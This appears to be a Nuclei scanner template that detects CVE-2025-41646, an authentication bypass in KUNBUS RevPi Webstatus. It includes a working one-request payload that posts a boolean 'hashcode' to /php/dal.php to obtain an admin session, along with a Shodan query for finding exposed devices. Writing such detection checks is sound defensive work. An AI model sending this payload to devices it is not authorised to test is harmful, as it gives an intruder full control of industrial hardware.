id: CVE-2025-41646

info:
  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
  reference:
    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
    - https://x.com/win3zz/status/1940397684176904607
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-41646
    cwe-id: CWE-704
    epss-score: 0.16474
    epss-percentile: 0.67101
    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunbus
    product: revpi_status
    shodan-query: title:"RevPi"
  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi

http:
  - raw:
      - |
        POST /php/dal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mode":"LOGIN","username":"admin","hashcode":true}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":"SUCCESS"'
          - '"sessionId":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008e87403ebe9e39afc86e1b6ea18ac3f23106cd14978119f98e26b9e69fa23837022100c089c042cc4018917fdea7c1aac3a113a497e7656e0f990223533dfe455f1b23:922c64590222798bb761d5b6d8e72950